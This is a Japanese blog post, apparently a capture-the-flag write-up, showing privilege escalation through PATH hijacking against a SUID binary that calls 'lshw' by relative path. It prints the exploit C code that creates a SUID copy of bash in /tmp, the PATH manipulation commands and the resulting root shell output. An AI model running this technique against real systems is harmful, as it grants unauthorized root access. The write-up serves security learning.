LoginSignup
2
0

More than 1 year has passed since last update.

SUIDと相対パスによる権限昇格

Last updated at Posted at 2022-05-13

root権限で実行されるコマンド内に、相対パスで参照されるコマンドがある状況での権限昇格について。

(root権限で実行される理由は、sudoでもSUIDでもなんでもいいが、今回の例ではSUID。)

怪しいSUIDビット付きのELFファイル

theseus@ubuntu:~$ ls -l /bin/sysinfo
-rwsr-x--- 1 root users 22040 Oct 21  2019 /bin/sysinfo

theseus@ubuntu:/$ file /bin/sysinfo
/bin/sysinfo: setuid ELF 64-bit LSB shared object, x86-64 ...

stringsコマンドで見てみると、中でlshwfdiskcatコマンドを実行していることが分かる:

theseus@ubuntu:~$ strings /bin/sysinfo
...8<...
====================Hardware Info====================
lshw -short
====================Disk Info====================
fdisk -l
====================CPU Info====================
cat /proc/cpuinfo
====================MEM Usage=====================
free -h
...8<...

パスを編集してprivescする

戦略として次の2ステップ:

step1: 「lshw」という名前で、シェルを起動するようなバイナリをカレントディレクトリに用意する。

step2: カレントディレクトリをPATHの先頭に加える。

step1

次のCスクリプトを用意する:

exploit.c
#include <stdlib.h>
int main(void)
{
system("cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash");
}

これはシェルを起動するのではなく、SUIDビット付きの/bin/bashを作成してくれる。

sysinfoコマンドの実行中に無理やりシェルを起動するとうまく動かない可能性がり、rootbashを用意するこっちの動きの方が安定性がある。

これをlshwという名前の実行ファイルへコンパイルする:

theseus@ubuntu:~$ gcc exploit.c -o lshw

step2

カレントディレクトリをPATHの先頭へ追加する。

theseus@ubuntu:~$ pwd
/home/theseus

theseus@ubuntu:~$ export PATH=/home/theseus:$PATH
theseus@ubuntu:~$ echo $PATH
/home/theseus:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

以上で準備は整った。あとはsysinfoコマンドを実行してやればよい:

theseus@ubuntu:~$ sysinfo

すると、次のように/tmp/rootbashが作られる。

theseus@ubuntu:~$ ls -l /tmp/
total 1088
-rwsr-sr-x 1 root root 1113504 May 13 02:49 rootbash

あとはこれを起動してroot権限のシェルを得る:

theseus@ubuntu:~$ /tmp/rootbash -p
rootbash-4.4# id
uid=1000(theseus) gid=1000(theseus) euid=0(root) egid=0(root) groups=0(root),100(users),1000(theseus)
rootbash-4.4# whoami
root
rootbash-4.4# ls /root
info.c	root.txt  snap
2
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
0